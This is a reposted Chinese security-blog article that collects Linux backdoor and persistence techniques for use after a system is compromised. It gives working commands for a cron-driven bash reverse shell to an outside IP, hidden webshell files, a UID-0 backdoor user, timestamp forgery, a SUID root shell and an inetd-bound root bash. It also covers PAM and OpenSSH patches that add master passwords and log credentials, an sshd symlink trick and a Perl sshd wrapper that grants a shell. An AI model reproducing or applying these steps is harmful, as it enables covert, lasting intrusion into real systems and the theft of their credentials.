1. 程式人生 > >[轉載]Linux後門整理合集(脈搏推薦)

[轉載]Linux後門整理合集(脈搏推薦)

整理 體系 子進程 目標 司機 nbsp 客戶 瀏覽器 -perm

我在思考要不要聯系下....都禁止轉載了....


簡介

利用 Unix/Linux 自帶的 Bash 和 Crond 實現遠控功能,保持反彈上線到公網機器。

利用方法

先創建 /etc/xxxx 腳本文件(名字自己改),利用該腳本進行反彈。以下腳本代表全自動反彈到 8.8.8.8 的 53 端口。

nano /etc/xxxx

#!/bin/bash

if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null

then

echo "OK">/dev/null

else

/sbin/iptables --policy INPUT ACCEPT

/sbin/iptables --policy OUTPUT ACCEPT

bash -i >& /dev/tcp/8.8.8.8/53 0>&1

fi

chmod +sx /etc/xxxx

然後我們需要修改一下 /etc/crontab 讓它定時執行。

nano /etc/crontab 在 /etc/crontab 文件末加入這一行。代表每 1 分鐘執行一次。

*/1 * * * * root /etc/xxxx

最後重啟一下 crond 的服務。(不同發行版重啟方式不一樣,自行查詢)

service cron reload

service cron start

然後在 8.8.8.8 的服務器上使用 NC 接收 Shell 即可。

nc -vv -lp 53

技術分享

Linux/Unix 藏文件和文件夾

Linux/Unix 下想藏 Webshell 或者後門什麽的,可以利用一下隱藏文件夾和文件。

方法一

比如創建一個名字開頭帶 . 的 Webshell 或者文件夾,默認情況下是不會顯示出來的,瀏覽器訪問的時候加點訪問就行。(查看方法:ls -a

touch .webshell.php 創建名字為 .webshell.php 的文件

mkdir .backdoor/ 創建名字為 .backdoor 的文件夾

終極方法

在管理員喝多了或者腦子轉不過來的情況下,是絕對不會發現的!至少我用了這麽久是沒幾個發現的。

是文件的話瀏覽器訪問直接輸 ... 就行,目錄同理。

touch ... 創建名字為 ... 的文件

mkdir ... 創建名字為 ... 的文件夾

效果如圖:

技術分享

本文《Linux後門整理合集(脈搏推薦)》由armyzer0團隊原創投稿安全脈搏,作者老司機,安全脈搏SecPulse.Com獨家發表本文,如需要轉載,請先聯系安全脈搏授權;未經授權請勿轉載。

Linux/Unix 添加 UID 為 0 的用戶

簡介

在 Unix 體系下,UID 為 0 就是 root 權限。所以滲透的時候可以添加一個 UID 為 0 的用戶作為後門。

利用方法

useradd -o -u 0 backdoor

Linux/Unix 修改文件時間戳

簡介

Unix 下藏後門必須要修改時間,否則很容易被發現,直接利用 touch 就可以了。

比如參考 index.php 的時間,再賦給 webshell.php,結果兩個文件的時間就一樣了。

利用方法

touch -r index.php webshell.php

或者直接將時間戳修改成某年某月某日。如下 2014 年 01 月 02 日。

touch -t 1401021042.30 webshell.php

系統環境:

dawg:~# uname -a

Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

SUID shell

利用方法 

首先, 先切換成為root用戶,並執行以下的命令:

dawg:~# cp /bin/bash /.woot

dawg:~# chmod 4755 /.woot

dawg:~# ls -al /.woot

-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

當然, 你也可以起其他更具備隱藏性的名字,我想猥瑣並機智的你,肯定能想出很多好的名字的。

文件前面的那一點也不是必要的,只是為了隱藏文件( 在文件名的最前面加上“.”,就可以在任意文件目錄下進行隱藏) .

現在,做為一個普通用戶,我們來啟用這個後門:

[email protected]:~$ id

uid=1000(fw) gid=1000(fw) groups=1000(fw)

[email protected]:~$ /.woot.woot-2.05b$ id

uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$

為什麽不行呢?

因為 bash2 針對 suid有一些護衛的措施. 但這也不是不可破的:

.woot-2.05b$ /.woot -p

.woot-2.05b# id

uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)

使用-p參數來獲取一個root shell. 這個euid的意思是 effective user id

這裏要特別註意的是,作為一個普通用戶執行這個SUID shell時,一定要使用全路徑。

小知識:

如何查找那些具有SUID 的文件:

dawg:~# find / -perm +4000 -ls

這時就會返回具有SUID位的文件啦。

遠程後門

利用方法

我們使用vi來修改 /etc/inetd.conf 文件

原文件:

#chargen dgram udp wait root internal

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

#daytime stream tcp nowait root internal

修改為:

#discard stream tcp nowait root internal

#discard dgram udp wait root internal

daytime stream tcp nowait root /bin/bash bash -i

開啟inetd:

dawg:~# inetd

如果要強制重啟inetd:

dawg:~# ps -ef | grep inetdroot 
362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot 
13769 13643 0 17:51 pts/1 00:00:00 grep inetd
dawg:~# kill -HUP 362

現在我們就可以用nc來爆菊了:

C:tools 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN) [192.168.1.77] 13 (daytime) open

bash: no job control in this shell

bash-2.05b# bash-2.05b#

bash-2.05b# iduid=0(root)

gid=0(root) groups=0(root)bash-2.05b# uname -a

Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux

可以修改/etc/services文件,加入以下的東西:

woot 6666/tcp #evil backdoor service

然後修改/etc/inetd.conf :

woot stream tcp nowait root /bin/bash bash -i

我們可以修改成一些常見的端口,以實現隱藏。

PAM後門

簡介

PAM (Pluggable AuthenticationModules )是由Sun提出的一種認證機制。

它通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程序,同時也便於向系統中添加新的認證手段。

PAM最初是集成在Solaris中,目前已移植到其它系統中,如Linux、SunOS、HP-UX9.0等。

搭建PAM後門主要思路:pam_unix_auth.c打補丁安裝到正常的PAM模塊中。

利用方法

1、獲取目標系統所使用的PAM版本:

rpm -qa |grep pam

2、編譯安裝PAM

3、將本地pam_unix_auth.c文件通過打補丁方式,編譯生成。

4、編譯完後的文件在:modules/pam_unix/.libs/pam_unix.so,後門密碼為root123,並會在/tmp/pslog記錄root登錄密碼。

特點:

優勢:隱蔽性較強,不易被發現。
劣勢:需要編譯環境,缺少GCC或其他依賴包容易出現問題

openssh後門

簡介

下載新版本的openssh,並下載對應patch包,這個patch文件包含sshbd5.9p1.diff文件為後門文件,

文件包括:auth.c、auth-pam.c、auth-passwd.c、canohost.c、includes.h、log.c、servconf.c、sshconnect2.c、sshlogin.c、version.h

利用方法

#tar -zxvf openssh-5.9p1.tar.gz

#tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

vim includes.h //修改後門密碼,記錄文件位置,

/*

#define ILOG "/tmp/ilog" //記錄登錄到本機的用戶名和密碼

#define OLOG "/tmp/olog" //記錄本機登錄到遠程的用戶名和密碼

#define SECRETPW "root123" //你後門的密碼

*/

特點:

優勢:隱蔽性較強,不易被發現。
劣勢:需要編譯環境,缺少GCC或其他依賴包容易出現問題。

快速獲得ssh後門

簡介

執行命令就會派生一個31337端口,然後連接31337,用root/bin/ftp/mail當用戶名,密碼隨意,就可登陸。

利用方法

在遠程主機上執行:

#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;

就會派生一個31337端口,然後連接31337,用root/bin/ftp/mail當用戶名,密碼隨意,就可登陸。

特點:

優勢:隱蔽性較弱,適合短時間連接。
劣勢:重啟後會斷開,無法後彈連接。

SSH wrapper後門

簡介

init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這裏的時候,正則匹配會失敗,於是執行下一句,啟動/usr/bin/sshd,這是原始sshd。

原始的sshd監聽端口建立了tcp連接後,會fork一個子進程處理具體工作。這個子進程,沒有什麽檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了。

此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell。

利用方法

客戶端:
[[email protected] ~]# cd /usr/sbin

[[email protected] sbin]# mv sshd ../bin

[[email protected] sbin]# echo ‘#!/usr/bin/perl‘ >sshd

[[email protected] sbin]# echo ‘exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);‘ >>sshd

[[email protected] sbin]# echo ‘exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,‘ >>sshd

[[email protected] sbin]# chmod u+x sshd

[[email protected] sbin]# /etc/init.d/sshd restart

控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526

特點:

優勢:隱蔽性較強,無需要編譯,使用於大部分環境中。
劣勢:需要重啟sshd進程。

mafix rootkit創建後門

簡介

Mafix是一款常用的輕量應用級別Rootkits,是通過偽造ssh協議漏洞實現遠程登陸的特點是配置簡單並可以自定義驗證密碼和端口號。

利用方法

安裝完成後,使用ssh [email protected] -P 配置的端口,即可遠程登錄。

特點:

優勢:隱蔽性一般,無需要編譯。
劣勢:會替換ls等命令,容易被識破

本文《Linux後門整理合集(脈搏推薦)》由armyzer0團隊原創投稿安全脈搏,作者老司機,安全脈搏SecPulse.Com獨家發表本文,如需要轉載,請先聯系安全脈搏授權;未經授權請勿轉載。

[轉載]Linux後門整理合集(脈搏推薦)